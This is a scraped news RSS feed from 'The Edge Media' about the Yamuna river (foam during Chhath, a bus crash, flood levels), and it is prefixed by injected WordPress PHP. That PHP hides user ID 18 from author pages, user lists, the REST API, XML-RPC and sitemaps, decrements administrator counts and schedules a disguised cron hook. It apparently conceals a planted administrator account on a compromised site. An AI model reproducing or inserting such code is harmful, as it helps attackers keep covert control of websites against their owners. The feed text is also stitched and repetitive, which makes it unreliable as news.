add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post On the first day of Chhath, BJP’s Manoj Tiwari rides a boat in the foam-covered Yamuna appeared first on The Edge Media.
]]>
On the first day of Chhath Puja on Monday, devotees took a plunge in the Yamuna river near Kalindi Kunj, which was covered in a thick coating of poisonous foam. The residents expressed their dissatisfaction with the river’s water quality. Speaking to ANI in this matter, Mr. Tiwari said: “You can see that we are riding on the foam. The DDMA has allowed Chhath Puja on designated sites and not on Yamuna ghat.”
The post On the first day of Chhath, BJP’s Manoj Tiwari rides a boat in the foam-covered Yamuna appeared first on The Edge Media.
]]>The post Bus collides with Innova at yamuna expressway,4 died appeared first on The Edge Media.
]]>The post Bus collides with Innova at yamuna expressway,4 died appeared first on The Edge Media.
]]>The post Yamuna River: Flow Close To Warning Mark In Delhi, Receding appeared first on The Edge Media.
]]>The warning level is 204.50 metres, and the danger mark is 205.33 metres. Water was being released into the Yamuna at the rate of 4,353 cusec at 8 am from the Hathnikund barrage in Haryana’s Yamunanagar district.
The flow rate was 11,445 cusec at 11 am on Saturday, the maximum in the last 24 hours. The flow rate has remained between 4,000 cusec and 15,000 cusec over the last two days, which is not very high, he said. One cusec is equivalent to 28.32 litre per second.
The water discharged from the barrage which provides drinking water to Delhi normally takes two-three days to reach the capital. The water level rose on Friday due to rains in Delhi and neighbouring areas, he said.
The East Delhi district administration has deployed 24 boats, each with two divers, to monitor the situation. More boats and teams of divers are on standby. Normally, the flow rate at the Hathnikund barrage is 352 cusec, but the discharge is increased after heavy rainfall in catchment areas.
Last year, the flow rate had peaked to 8.28 lakh cusec on August 18-19, and the water level of the Yamunahad hit the 206.60 metre-mark, breaching the danger mark of 205.33 metres.
The Delhi government had to launch evacuation and relief operations after the overflowing river submerged many low-lying areas. In 1978, the river had swelled to the all-time record water level of 207.49 metres. In 2013, it had risen to 207.32 metres.
– PTI
The post Yamuna River: Flow Close To Warning Mark In Delhi, Receding appeared first on The Edge Media.
]]>